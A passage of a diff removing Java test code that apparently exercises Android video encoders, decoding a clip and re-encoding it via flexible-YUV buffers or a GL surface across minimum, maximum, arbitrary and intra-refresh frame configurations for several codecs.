-                String path, String outMime, String videoEncName,
-                int width, int height, boolean optional);
-        protected abstract void onInputBufferAvailableLocked(
-                MediaCodec mediaCodec, int ix);
-        protected abstract void onOutputBufferAvailableLocked(
-                MediaCodec mediaCodec, int ix, BufferInfo info);
-    }
-
-    class VideoProcessor extends VideoProcessorBase {
-        private static final String TAG = "VideoProcessor";
-        private boolean mWorkInProgress;
-        private boolean mGotDecoderEOS;
-        private boolean mSignaledEncoderEOS;
-
-        private LinkedList<Pair<Integer, BufferInfo>> mBuffersToRender =
-            new LinkedList<Pair<Integer, BufferInfo>>();
-        private LinkedList<Integer> mEncInputBuffers = new LinkedList<Integer>();
-
-        private int mEncInputBufferSize = -1;
-        private final AtomicReference<String> errorMsg = new AtomicReference(null);
-
-        @Override
-        public boolean processLoop(
-                 String path, String outMime, String videoEncName,
-                 int width, int height, boolean optional) {
-            boolean skipped = true;
-            try {
-                open(path);
-                if (!initCodecsAndConfigureEncoder(
-                        videoEncName, outMime, width, height,
-                        CodecCapabilities.COLOR_FormatYUV420Flexible)) {
-                    assertTrue("could not configure encoder for supported size", optional);
-                    return !skipped;
-                }
-                skipped = false;
-
-                mDecoder.configure(mDecFormat, null /* surface */, null /* crypto */, 0);
-
-                mDecoder.start();
-                mEncoder.start();
-
-                // main loop - process GL ops as only main thread has GL context
-                while (!mCompleted && errorMsg.get() == null) {
-                    Pair<Integer, BufferInfo> decBuffer = null;
-                    int encBuffer = -1;
-                    synchronized (mCondition) {
-                        try {
-                            // wait for an encoder input buffer and a decoder output buffer
-                            // Use a timeout to avoid stalling the test if it doesn't arrive.
-                            if (!haveBuffers() && !mCompleted) {
-                                mCondition.wait(mEncodeOutputFormatUpdated ?
-                                        FRAME_TIMEOUT_MS : INIT_TIMEOUT_MS);
-                            }
-                        } catch (InterruptedException ie) {
-                            fail("wait interrupted");  // shouldn't happen
-                        }
-                        if (mCompleted) {
-                            break;
-                        }
-                        if (!haveBuffers()) {
-                            if (mEncoderIsActive) {
-                                mEncoderIsActive = false;
-                                Log.d(TAG, "No more input but still getting output from encoder.");
-                                continue;
-                            }
-                            fail("timed out after " + mBuffersToRender.size()
-                                    + " decoder output and " + mEncInputBuffers.size()
-                                    + " encoder input buffers");
-                        }
-
-                        if (DEBUG) Log.v(TAG, "got image");
-                        decBuffer = mBuffersToRender.removeFirst();
-                        encBuffer = mEncInputBuffers.removeFirst();
-                        if (isEOSOnlyBuffer(decBuffer)) {
-                            queueEncoderEOS(decBuffer, encBuffer);
-                            continue;
-                        }
-                        mWorkInProgress = true;
-                    }
-
-                    if (mWorkInProgress) {
-                        renderDecodedBuffer(decBuffer, encBuffer);
-                        synchronized(mCondition) {
-                            mWorkInProgress = false;
-                        }
-                    }
-                }
-            } catch (IOException e) {
-                e.printStackTrace();
-                fail("received exception " + e);
-            } finally {
-                close();
-            }
-            assertNull(errorMsg.get(), errorMsg.get());
-            return !skipped;
-        }
-
-        @Override
-        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
-            if (mediaCodec == mDecoder) {
-                // fill input buffer from extractor
-                fillDecoderInputBuffer(ix);
-            } else if (mediaCodec == mEncoder) {
-                synchronized(mCondition) {
-                    mEncInputBuffers.addLast(ix);
-                    tryToPropagateEOS();
-                    if (haveBuffers()) {
-                        mCondition.notifyAll();
-                    }
-                }
-            } else {
-                fail("received input buffer on " + mediaCodec.getName());
-            }
-        }
-
-        @Override
-        public void onOutputBufferAvailableLocked(
-                MediaCodec mediaCodec, int ix, BufferInfo info) {
-            if (mediaCodec == mDecoder) {
-                if (DEBUG) Log.v(TAG, "decoder received output #" + ix
-                         + " (sz=" + info.size + ", f=" + info.flags
-                         + ", ts=" + info.presentationTimeUs + ")");
-                // render output buffer from decoder
-                if (!mGotDecoderEOS) {
-                    boolean eos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-                    // can release empty buffers now
-                    if (info.size == 0) {
-                        mDecoder.releaseOutputBuffer(ix, false /* render */);
-                        ix = -1; // fake index used by render to not render
-                    }
-                    synchronized(mCondition) {
-                        if (ix < 0 && eos && mBuffersToRender.size() > 0) {
-                            // move lone EOS flag to last buffer to be rendered
-                            mBuffersToRender.peekLast().second.flags |=
-                                MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                        } else if (ix >= 0 || eos) {
-                            mBuffersToRender.addLast(Pair.create(ix, info));
-                        }
-                        if (eos) {
-                            tryToPropagateEOS();
-                            mGotDecoderEOS = true;
-                        }
-                        if (haveBuffers()) {
-                            mCondition.notifyAll();
-                        }
-                    }
-                }
-            } else if (mediaCodec == mEncoder) {
-                emptyEncoderOutputBuffer(ix, info);
-            } else {
-                fail("received output buffer on " + mediaCodec.getName());
-            }
-        }
-
-        private void renderDecodedBuffer(Pair<Integer, BufferInfo> decBuffer, int encBuffer) {
-            // process heavyweight actions under instance lock
-            Image encImage = mEncoder.getInputImage(encBuffer);
-            Image decImage = mDecoder.getOutputImage(decBuffer.first);
-            assertNotNull("could not get encoder image for " + mEncoder.getInputFormat(), encImage);
-            assertNotNull("could not get decoder image for " + mDecoder.getInputFormat(), decImage);
-            assertEquals("incorrect decoder format",decImage.getFormat(), ImageFormat.YUV_420_888);
-            assertEquals("incorrect encoder format", encImage.getFormat(), ImageFormat.YUV_420_888);
-
-            CodecUtils.copyFlexYUVImage(encImage, decImage);
-
-            // TRICKY: need this for queueBuffer
-            if (mEncInputBufferSize < 0) {
-                mEncInputBufferSize = mEncoder.getInputBuffer(encBuffer).capacity();
-            }
-            Log.d(TAG, "queuing input #" + encBuffer + " for encoder (sz="
-                    + mEncInputBufferSize + ", f=" + decBuffer.second.flags
-                    + ", ts=" + decBuffer.second.presentationTimeUs + ")");
-            mEncoder.queueInputBuffer(
-                    encBuffer, 0, mEncInputBufferSize, decBuffer.second.presentationTimeUs,
-                    decBuffer.second.flags);
-            if ((decBuffer.second.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                mSignaledEncoderEOS = true;
-            }
-            mDecoder.releaseOutputBuffer(decBuffer.first, false /* render */);
-        }
-
-        @Override
-        public void onError(MediaCodec mediaCodec, MediaCodec.CodecException e) {
-            String codecName = null;
-            try {
-                codecName = mediaCodec.getName();
-            } catch (Exception ex) {
-                codecName = "(error getting codec name)";
-            }
-            errorMsg.set("received error on " + codecName + ": " + e);
-        }
-
-        @Override
-        public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
-            Log.i(TAG, mediaCodec.getName() + " got new output format " + mediaFormat);
-            if (mediaCodec == mEncoder) {
-                mEncodeOutputFormatUpdated = true;
-                saveEncoderFormat(mediaFormat);
-            }
-        }
-
-        // next methods are synchronized on mCondition
-        private boolean haveBuffers() {
-            return mEncInputBuffers.size() > 0 && mBuffersToRender.size() > 0
-                    && !mSignaledEncoderEOS;
-        }
-
-        private boolean isEOSOnlyBuffer(Pair<Integer, BufferInfo> decBuffer) {
-            return decBuffer.first < 0 || decBuffer.second.size == 0;
-        }
-
-        protected void tryToPropagateEOS() {
-            if (!mWorkInProgress && haveBuffers() && isEOSOnlyBuffer(mBuffersToRender.getFirst())) {
-                Pair<Integer, BufferInfo> decBuffer = mBuffersToRender.removeFirst();
-                int encBuffer = mEncInputBuffers.removeFirst();
-                queueEncoderEOS(decBuffer, encBuffer);
-            }
-        }
-
-        void queueEncoderEOS(Pair<Integer, BufferInfo> decBuffer, int encBuffer) {
-            Log.d(TAG, "signaling encoder EOS");
-            mEncoder.queueInputBuffer(encBuffer, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-            mSignaledEncoderEOS = true;
-            if (decBuffer.first >= 0) {
-                mDecoder.releaseOutputBuffer(decBuffer.first, false /* render */);
-            }
-        }
-    }
-
-
-    class SurfaceVideoProcessor extends VideoProcessorBase
-            implements SurfaceTexture.OnFrameAvailableListener {
-        private static final String TAG = "SurfaceVideoProcessor";
-        private boolean mFrameAvailable;
-        private boolean mGotDecoderEOS;
-        private boolean mSignaledEncoderEOS;
-
-        private InputSurface mEncSurface;
-        private OutputSurface mDecSurface;
-        private BufferInfo mInfoOnSurface;
-
-        private LinkedList<Pair<Integer, BufferInfo>> mBuffersToRender =
-            new LinkedList<Pair<Integer, BufferInfo>>();
-
-        private final AtomicReference<String> errorMsg = new AtomicReference(null);
-
-        @Override
-        public boolean processLoop(
-                String path, String outMime, String videoEncName,
-                int width, int height, boolean optional) {
-            boolean skipped = true;
-            try {
-                open(path);
-                if (!initCodecsAndConfigureEncoder(
-                        videoEncName, outMime, width, height,
-                        CodecCapabilities.COLOR_FormatSurface)) {
-                    assertTrue("could not configure encoder for supported size", optional);
-                    return !skipped;
-                }
-                skipped = false;
-
-                mEncSurface = new InputSurface(mEncoder.createInputSurface());
-                mEncSurface.makeCurrent();
-
-                mDecSurface = new OutputSurface(this);
-                //mDecSurface.changeFragmentShader(FRAGMENT_SHADER);
-                mDecoder.configure(mDecFormat, mDecSurface.getSurface(), null /* crypto */, 0);
-
-                mDecoder.start();
-                mEncoder.start();
-
-                // main loop - process GL ops as only main thread has GL context
-                while (!mCompleted && errorMsg.get() == null) {
-                    BufferInfo info = null;
-                    synchronized (mCondition) {
-                        try {
-                            // wait for mFrameAvailable, which is set by onFrameAvailable().
-                            // Use a timeout to avoid stalling the test if it doesn't arrive.
-                            if (!mFrameAvailable && !mCompleted && !mEncoderIsActive) {
-                                mCondition.wait(mEncodeOutputFormatUpdated ?
-                                        FRAME_TIMEOUT_MS : INIT_TIMEOUT_MS);
-                            }
-                        } catch (InterruptedException ie) {
-                            fail("wait interrupted");  // shouldn't happen
-                        }
-                        if (mCompleted) {
-                            break;
-                        }
-                        if (mEncoderIsActive) {
-                            mEncoderIsActive = false;
-                            if (DEBUG) Log.d(TAG, "encoder is still active, continue");
-                            continue;
-                        }
-                        assertTrue("still waiting for image", mFrameAvailable);
-                        if (DEBUG) Log.v(TAG, "got image");
-                        info = mInfoOnSurface;
-                    }
-                    if (info == null) {
-                        continue;
-                    }
-                    if (info.size > 0) {
-                        mDecSurface.latchImage();
-                        if (DEBUG) Log.v(TAG, "latched image");
-                        mFrameAvailable = false;
-
-                        mDecSurface.drawImage();
-                        Log.d(TAG, "encoding frame at " + info.presentationTimeUs * 1000);
-
-                        mEncSurface.setPresentationTime(info.presentationTimeUs * 1000);
-                        mEncSurface.swapBuffers();
-                    }
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        mSignaledEncoderEOS = true;
-                        Log.d(TAG, "signaling encoder EOS");
-                        mEncoder.signalEndOfInputStream();
-                    }
-
-                    synchronized (mCondition) {
-                        mInfoOnSurface = null;
-                        if (mBuffersToRender.size() > 0 && mInfoOnSurface == null) {
-                            if (DEBUG) Log.v(TAG, "handling postponed frame");
-                            Pair<Integer, BufferInfo> nextBuffer = mBuffersToRender.removeFirst();
-                            renderDecodedBuffer(nextBuffer.first, nextBuffer.second);
-                        }
-                    }
-                }
-            } catch (IOException e) {
-                e.printStackTrace();
-                fail("received exception " + e);
-            } finally {
-                close();
-                if (mEncSurface != null) {
-                    mEncSurface.release();
-                    mEncSurface = null;
-                }
-                if (mDecSurface != null) {
-                    mDecSurface.release();
-                    mDecSurface = null;
-                }
-            }
-            assertNull(errorMsg.get(), errorMsg.get());
-            return !skipped;
-        }
-
-        @Override
-        public void onFrameAvailable(SurfaceTexture st) {
-            if (DEBUG) Log.v(TAG, "new frame available");
-            synchronized (mCondition) {
-                assertFalse("mFrameAvailable already set, frame could be dropped", mFrameAvailable);
-                mFrameAvailable = true;
-                mCondition.notifyAll();
-            }
-        }
-
-        @Override
-        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
-            if (mediaCodec == mDecoder) {
-                // fill input buffer from extractor
-                fillDecoderInputBuffer(ix);
-            } else {
-                fail("received input buffer on " + mediaCodec.getName());
-            }
-        }
-
-        @Override
-        public void onOutputBufferAvailableLocked(
-                MediaCodec mediaCodec, int ix, BufferInfo info) {
-            if (mediaCodec == mDecoder) {
-                if (DEBUG) Log.v(TAG, "decoder received output #" + ix
-                         + " (sz=" + info.size + ", f=" + info.flags
-                         + ", ts=" + info.presentationTimeUs + ")");
-                // render output buffer from decoder
-                if (!mGotDecoderEOS) {
-                    boolean eos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-                    if (eos) {
-                        mGotDecoderEOS = true;
-                    }
-                    // can release empty buffers now
-                    if (info.size == 0) {
-                        mDecoder.releaseOutputBuffer(ix, false /* render */);
-                        ix = -1; // fake index used by render to not render
-                    }
-                    if (eos || info.size > 0) {
-                        synchronized(mCondition) {
-                            if (mInfoOnSurface != null || mBuffersToRender.size() > 0) {
-                                if (DEBUG) Log.v(TAG, "postponing render, surface busy");
-                                mBuffersToRender.addLast(Pair.create(ix, info));
-                            } else {
-                                renderDecodedBuffer(ix, info);
-                            }
-                        }
-                    }
-                }
-            } else if (mediaCodec == mEncoder) {
-                emptyEncoderOutputBuffer(ix, info);
-                synchronized(mCondition) {
-                    if (!mCompleted) {
-                        mEncoderIsActive = true;
-                        mCondition.notifyAll();
-                    }
-                }
-            } else {
-                fail("received output buffer on " + mediaCodec.getName());
-            }
-        }
-
-        private void renderDecodedBuffer(int ix, BufferInfo info) {
-            boolean eos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-            mInfoOnSurface = info;
-            if (info.size > 0) {
-                Log.d(TAG, "rendering frame #" + ix + " at " + info.presentationTimeUs * 1000
-                        + (eos ? " with EOS" : ""));
-                mDecoder.releaseOutputBuffer(ix, info.presentationTimeUs * 1000);
-            }
-
-            if (eos && info.size == 0) {
-                if (DEBUG) Log.v(TAG, "decoder output EOS available");
-                mFrameAvailable = true;
-                mCondition.notifyAll();
-            }
-        }
-
-        @Override
-        public void onError(MediaCodec mediaCodec, MediaCodec.CodecException e) {
-            String codecName = null;
-            try {
-                codecName = mediaCodec.getName();
-            } catch (Exception ex) {
-                codecName = "(error getting codec name)";
-            }
-            errorMsg.set("received error on " + codecName + ": " + e);
-        }
-
-        @Override
-        public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
-            Log.i(TAG, mediaCodec.getName() + " got new output format " + mediaFormat);
-            if (mediaCodec == mEncoder) {
-                mEncodeOutputFormatUpdated = true;
-                saveEncoderFormat(mediaFormat);
-            }
-        }
-    }
-
-    class Encoder {
-        final private String mName;
-        final private String mMime;
-        final private CodecCapabilities mCaps;
-        final private VideoCapabilities mVideoCaps;
-
-        final private Map<Size, Set<Size>> mMinMax;     // extreme sizes
-        final private Map<Size, Set<Size>> mNearMinMax; // sizes near extreme
-        final private Set<Size> mArbitraryW;            // arbitrary widths in the middle
-        final private Set<Size> mArbitraryH;            // arbitrary heights in the middle
-        final private Set<Size> mSizes;                 // all non-specifically tested sizes
-
-        final private int xAlign;
-        final private int yAlign;
-
-        Encoder(String name, String mime, CodecCapabilities caps) {
-            mName = name;
-            mMime = mime;
-            mCaps = caps;
-            mVideoCaps = caps.getVideoCapabilities();
-
-            /* calculate min/max sizes */
-            mMinMax = new HashMap<Size, Set<Size>>();
-            mNearMinMax = new HashMap<Size, Set<Size>>();
-            mArbitraryW = new HashSet<Size>();
-            mArbitraryH = new HashSet<Size>();
-            mSizes = new HashSet<Size>();
-
-            xAlign = mVideoCaps.getWidthAlignment();
-            yAlign = mVideoCaps.getHeightAlignment();
-
-            initializeSizes();
-        }
-
-        private void initializeSizes() {
-            for (int x = 0; x < 2; ++x) {
-                for (int y = 0; y < 2; ++y) {
-                    addExtremeSizesFor(x, y);
-                }
-            }
-
-            // initialize arbitrary sizes
-            for (int i = 1; i <= 7; ++i) {
-                int j = ((7 * i) % 11) + 1;
-                int width, height;
-                try {
-                    width = alignedPointInRange(i * 0.125, xAlign, mVideoCaps.getSupportedWidths());
-                    height = alignedPointInRange(
-                            j * 0.077, yAlign, mVideoCaps.getSupportedHeightsFor(width));
-                    mArbitraryW.add(new Size(width, height));
-                } catch (IllegalArgumentException e) {
-                }
-
-                try {
-                    height = alignedPointInRange(i * 0.125, yAlign, mVideoCaps.getSupportedHeights());
-                    width = alignedPointInRange(j * 0.077, xAlign, mVideoCaps.getSupportedWidthsFor(height));
-                    mArbitraryH.add(new Size(width, height));
-                } catch (IllegalArgumentException e) {
-                }
-            }
-            mArbitraryW.removeAll(mArbitraryH);
-            mArbitraryW.removeAll(mSizes);
-            mSizes.addAll(mArbitraryW);
-            mArbitraryH.removeAll(mSizes);
-            mSizes.addAll(mArbitraryH);
-            if (DEBUG) Log.i(TAG, "arbitrary=" + mArbitraryW + "/" + mArbitraryH);
-        }
-
-        private void addExtremeSizesFor(int x, int y) {
-            Set<Size> minMax = new HashSet<Size>();
-            Set<Size> nearMinMax = new HashSet<Size>();
-
-            for (int dx = 0; dx <= xAlign; dx += xAlign) {
-                for (int dy = 0; dy <= yAlign; dy += yAlign) {
-                    Set<Size> bucket = (dx + dy == 0) ? minMax : nearMinMax;
-                    try {
-                        int width = getExtreme(mVideoCaps.getSupportedWidths(), x, dx);
-                        int height = getExtreme(mVideoCaps.getSupportedHeightsFor(width), y, dy);
-                        bucket.add(new Size(width, height));
-
-                        // try max max with more reasonable ratio if too skewed
-                        if (x + y == 2 && width >= 4 * height) {
-                            Size wideScreen = getLargestSizeForRatio(16, 9);
-                            width = getExtreme(
-                                    mVideoCaps.getSupportedWidths()
-                                            .intersect(0, wideScreen.getWidth()), x, dx);
-                            height = getExtreme(mVideoCaps.getSupportedHeightsFor(width), y, 0);
-                            bucket.add(new Size(width, height));
-                        }
-                    } catch (IllegalArgumentException e) {
-                    }
-
-                    try {
-                        int height = getExtreme(mVideoCaps.getSupportedHeights(), y, dy);
-                        int width = getExtreme(mVideoCaps.getSupportedWidthsFor(height), x, dx);
-                        bucket.add(new Size(width, height));
-
-                        // try max max with more reasonable ratio if too skewed
-                        if (x + y == 2 && height >= 4 * width) {
-                            Size wideScreen = getLargestSizeForRatio(9, 16);
-                            height = getExtreme(
-                                    mVideoCaps.getSupportedHeights()
-                                            .intersect(0, wideScreen.getHeight()), y, dy);
-                            width = getExtreme(mVideoCaps.getSupportedWidthsFor(height), x, dx);
-                            bucket.add(new Size(width, height));
-                        }
-                    } catch (IllegalArgumentException e) {
-                    }
-                }
-            }
-
-            // keep unique sizes
-            minMax.removeAll(mSizes);
-            mSizes.addAll(minMax);
-            nearMinMax.removeAll(mSizes);
-            mSizes.addAll(nearMinMax);
-
-            mMinMax.put(new Size(x, y), minMax);
-            mNearMinMax.put(new Size(x, y), nearMinMax);
-            if (DEBUG) Log.i(TAG, x + "x" + y + ": minMax=" + mMinMax + ", near=" + mNearMinMax);
-        }
-
-        private int alignInRange(double value, int align, Range<Integer> range) {
-            return range.clamp(align * (int)Math.round(value / align));
-        }
-
-        /* point should be between 0. and 1. */
-        private int alignedPointInRange(double point, int align, Range<Integer> range) {
-            return alignInRange(
-                    range.getLower() + point * (range.getUpper() - range.getLower()), align, range);
-        }
-
-        private int getExtreme(Range<Integer> range, int i, int delta) {
-            int dim = i == 1 ? range.getUpper() - delta : range.getLower() + delta;
-            if (delta == 0
-                    || (dim > range.getLower() && dim < range.getUpper())) {
-                return dim;
-            }
-            throw new IllegalArgumentException();
-        }
-
-        private Size getLargestSizeForRatio(int x, int y) {
-            Range<Integer> widthRange = mVideoCaps.getSupportedWidths();
-            Range<Integer> heightRange = mVideoCaps.getSupportedHeightsFor(widthRange.getUpper());
-            final int xAlign = mVideoCaps.getWidthAlignment();
-            final int yAlign = mVideoCaps.getHeightAlignment();
-
-            // scale by alignment
-            int width = alignInRange(
-                    Math.sqrt(widthRange.getUpper() * heightRange.getUpper() * (double)x / y),
-                    xAlign, widthRange);
-            int height = alignInRange(
-                    width * (double)y / x, yAlign, mVideoCaps.getSupportedHeightsFor(width));
-            return new Size(width, height);
-        }
-
-
-        public boolean testExtreme(int x, int y, boolean flexYUV, boolean near) {
-            boolean skipped = true;
-            for (Size s : (near ? mNearMinMax : mMinMax).get(new Size(x, y))) {
-                if (test(s.getWidth(), s.getHeight(), false /* optional */, flexYUV)) {
-                    skipped = false;
-                }
-            }
-            return !skipped;
-        }
-
-        public boolean testArbitrary(boolean flexYUV, boolean widths) {
-            boolean skipped = true;
-            for (Size s : (widths ? mArbitraryW : mArbitraryH)) {
-                if (test(s.getWidth(), s.getHeight(), false /* optional */, flexYUV)) {
-                    skipped = false;
-                }
-            }
-            return !skipped;
-        }
-
-        public boolean testSpecific(int width, int height, boolean flexYUV) {
-            // already tested by one of the min/max tests
-            if (mSizes.contains(new Size(width, height))) {
-                return false;
-            }
-            return test(width, height, true /* optional */, flexYUV);
-        }
-
-        public boolean testIntraRefresh(int width, int height) {
-            if (!mCaps.isFeatureSupported(CodecCapabilities.FEATURE_IntraRefresh)) {
-                return false;
-            }
-
-            final int refreshPeriod[] = new int[] {10, 13, 17, 22, 29, 38, 50, 60};
-
-            // Test the support of refresh periods in the range of 10 - 60 frames
-            for (int period : refreshPeriod) {
-                Function<MediaFormat, Boolean> updateConfigFormatHook =
-                new Function<MediaFormat, Boolean>() {
-                    public Boolean apply(MediaFormat fmt) {
-                        // set i-frame-interval to 10000 so encoded video only has 1 i-frame.
-                        fmt.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 10000);
-                        fmt.setInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD, period);
-                        return true;
-                    }
-                };
-
-                Function<MediaFormat, Boolean> checkOutputFormatHook =
-                new Function<MediaFormat, Boolean>() {
-                    public Boolean apply(MediaFormat fmt) {
-                        int intraPeriod = fmt.getInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD);
-                        // Make sure intra period is correct and carried in the output format.
-                        // intraPeriod must be larger than 0 and operate within 20% of refresh period.
-                        if (intraPeriod > 1.2 * period || intraPeriod < 0.8 * period) {
-                            throw new RuntimeException("Intra period mismatch");
-                        }
-                        return true;
-                    }
-                };
-
-                String testName =
-                mName + '_' + width + "x" + height + '_' + "flexYUV_intraRefresh";
-
-                Consumer<VideoProcessorBase> configureVideoProcessor =
-                new Consumer<VideoProcessorBase>() {
-                    public void accept(VideoProcessorBase processor) {
-                        processor.setProcessorName(testName);
-                        processor.setUpdateConfigHook(updateConfigFormatHook);
-                        processor.setCheckOutputFormatHook(checkOutputFormatHook);
-                    }
-                };
-
-                if (!test(width, height, 0 /* frameRate */, 0 /* bitRate */, true /* optional */,
-                    true /* flex */, configureVideoProcessor)) {
-                    return false;
-                }
-            }
-
-            return true;
-        }
-
-        public boolean testDetailed(
-                int width, int height, int frameRate, int bitRate, boolean flexYUV) {
-            String testName =
-                    mName + '_' + width + "x" + height + '_' + (flexYUV ? "flexYUV" : " surface");
-            Consumer<VideoProcessorBase> configureVideoProcessor =
-                    new Consumer<VideoProcessorBase>() {
-                public void accept(VideoProcessorBase processor) {
-                    processor.setProcessorName(testName);
-                }
-            };
-            return test(width, height, frameRate, bitRate, true /* optional */, flexYUV,
-                    configureVideoProcessor);
-        }
-
-        public boolean testSupport(int width, int height, int frameRate, int bitRate) {
-            return mVideoCaps.areSizeAndRateSupported(width, height, frameRate) &&
-                    mVideoCaps.getBitrateRange().contains(bitRate);
-        }
-
-        private boolean test(
-                int width, int height, boolean optional, boolean flexYUV) {
-            String testName =
-                    mName + '_' + width + "x" + height + '_' + (flexYUV ? "flexYUV" : " surface");
-            Consumer<VideoProcessorBase> configureVideoProcessor =
-                    new Consumer<VideoProcessorBase>() {
-                public void accept(VideoProcessorBase processor) {
-                    processor.setProcessorName(testName);
-                }
-            };
-            return test(width, height, 0 /* frameRate */, 0 /* bitRate */,
-                    optional, flexYUV, configureVideoProcessor);
-        }
-
-        private boolean test(
-                int width, int height, int frameRate, int bitRate, boolean optional,
-                boolean flexYUV, Consumer<VideoProcessorBase> configureVideoProcessor) {
-            Log.i(TAG, "testing " + mMime + " on " + mName + " for " + width + "x" + height
-                    + (flexYUV ? " flexYUV" : " surface"));
-
-            Preconditions.assertTestFileExists(SOURCE_URL);
-
-            VideoProcessorBase processor =
-                flexYUV ? new VideoProcessor() : new SurfaceVideoProcessor();
-
-            processor.setFrameAndBitRates(frameRate, bitRate);
-            configureVideoProcessor.accept(processor);
-
-            // We are using a resource URL as an example
-            boolean success = processor.processLoop(
-                    SOURCE_URL, mMime, mName, width, height, optional);
-            if (success) {
-                success = processor.playBack(getActivity().getSurfaceHolder().getSurface());
-            }
-            return success;
-        }
-    }
-
-    private Encoder[] googH265()  { return goog(MediaFormat.MIMETYPE_VIDEO_HEVC); }
-    private Encoder[] googH264()  { return goog(MediaFormat.MIMETYPE_VIDEO_AVC); }
-    private Encoder[] googH263()  { return goog(MediaFormat.MIMETYPE_VIDEO_H263); }
-    private Encoder[] googMpeg4() { return goog(MediaFormat.MIMETYPE_VIDEO_MPEG4); }
-    private Encoder[] googVP8()   { return goog(MediaFormat.MIMETYPE_VIDEO_VP8); }
-    private Encoder[] googVP9()   { return goog(MediaFormat.MIMETYPE_VIDEO_VP9); }
-
-    private Encoder[] otherH265()  { return other(MediaFormat.MIMETYPE_VIDEO_HEVC); }
-    private Encoder[] otherH264()  { return other(MediaFormat.MIMETYPE_VIDEO_AVC); }
-    private Encoder[] otherH263()  { return other(MediaFormat.MIMETYPE_VIDEO_H263); }
-    private Encoder[] otherMpeg4() { return other(MediaFormat.MIMETYPE_VIDEO_MPEG4); }
-    private Encoder[] otherVP8()   { return other(MediaFormat.MIMETYPE_VIDEO_VP8); }
-    private Encoder[] otherVP9()   { return other(MediaFormat.MIMETYPE_VIDEO_VP9); }
-
-    private Encoder[] goog(String mime) {
-        return encoders(mime, true /* goog */);
-    }
-
-    private Encoder[] other(String mime) {
-        return encoders(mime, false /* goog */);
-    }
-
-    private Encoder[] combineArray(Encoder[] a, Encoder[] b) {
-        Encoder[] all = new Encoder[a.length + b.length];
-        System.arraycopy(a, 0, all, 0, a.length);
-        System.arraycopy(b, 0, all, a.length, b.length);
-        return all;
-    }
-
-    private Encoder[] h264()  {
-        return combineArray(googH264(), otherH264());
-    }
-
-    private Encoder[] vp8()  {
-        return combineArray(googVP8(), otherVP8());
-    }
-
-    private Encoder[] encoders(String mime, boolean goog) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        ArrayList<Encoder> result = new ArrayList<Encoder>();
-
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (!info.isEncoder() || !info.isVendor() != goog || info.isAlias()) {
-                continue;
-            }
-            CodecCapabilities caps = null;
-            try {
-                caps = info.getCapabilitiesForType(mime);
-            } catch (IllegalArgumentException e) { // mime is not supported
-                continue;
-            }
-            assertNotNull(info.getName() + " capabilties for " + mime + " returned null", caps);
-            result.add(new Encoder(info.getName(), mime, caps));
-        }
-        return result.toArray(new Encoder[result.size()]);
-    }
-
-    public void testGoogH265FlexMinMin()   { minmin(googH265(),   true /* flex */); }
-    public void testGoogH265SurfMinMin()   { minmin(googH265(),   false /* flex */); }
-    public void testGoogH264FlexMinMin()   { minmin(googH264(),   true /* flex */); }
-    public void testGoogH264SurfMinMin()   { minmin(googH264(),   false /* flex */); }
-    public void testGoogH263FlexMinMin()   { minmin(googH263(),   true /* flex */); }
-    public void testGoogH263SurfMinMin()   { minmin(googH263(),   false /* flex */); }
-    public void testGoogMpeg4FlexMinMin()  { minmin(googMpeg4(),  true /* flex */); }
-    public void testGoogMpeg4SurfMinMin()  { minmin(googMpeg4(),  false /* flex */); }
-    public void testGoogVP8FlexMinMin()    { minmin(googVP8(),    true /* flex */); }
-    public void testGoogVP8SurfMinMin()    { minmin(googVP8(),    false /* flex */); }
-    public void testGoogVP9FlexMinMin()    { minmin(googVP9(),    true /* flex */); }
-    public void testGoogVP9SurfMinMin()    { minmin(googVP9(),    false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265FlexMinMin()  { minmin(otherH265(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265SurfMinMin()  { minmin(otherH265(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264FlexMinMin()  { minmin(otherH264(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264SurfMinMin()  { minmin(otherH264(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263FlexMinMin()  { minmin(otherH263(),  true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263SurfMinMin()  { minmin(otherH263(),  false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4FlexMinMin() { minmin(otherMpeg4(), true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4SurfMinMin() { minmin(otherMpeg4(), false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8FlexMinMin()   { minmin(otherVP8(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8SurfMinMin()   { minmin(otherVP8(),   false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9FlexMinMin()   { minmin(otherVP9(),   true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9SurfMinMin()   { minmin(otherVP9(),   false /* flex */); }
-
-    public void testGoogH265FlexMinMax()   { minmax(googH265(),   true /* flex */); }
-    public void testGoogH265SurfMinMax()   { minmax(googH265(),   false /* flex */); }
-    public void testGoogH264FlexMinMax()   { minmax(googH264(),   true /* flex */); }
-    public void testGoogH264SurfMinMax()   { minmax(googH264(),   false /* flex */); }
-    public void testGoogH263FlexMinMax()   { minmax(googH263(),   true /* flex */); }
-    public void testGoogH263SurfMinMax()   { minmax(googH263(),   false /* flex */); }
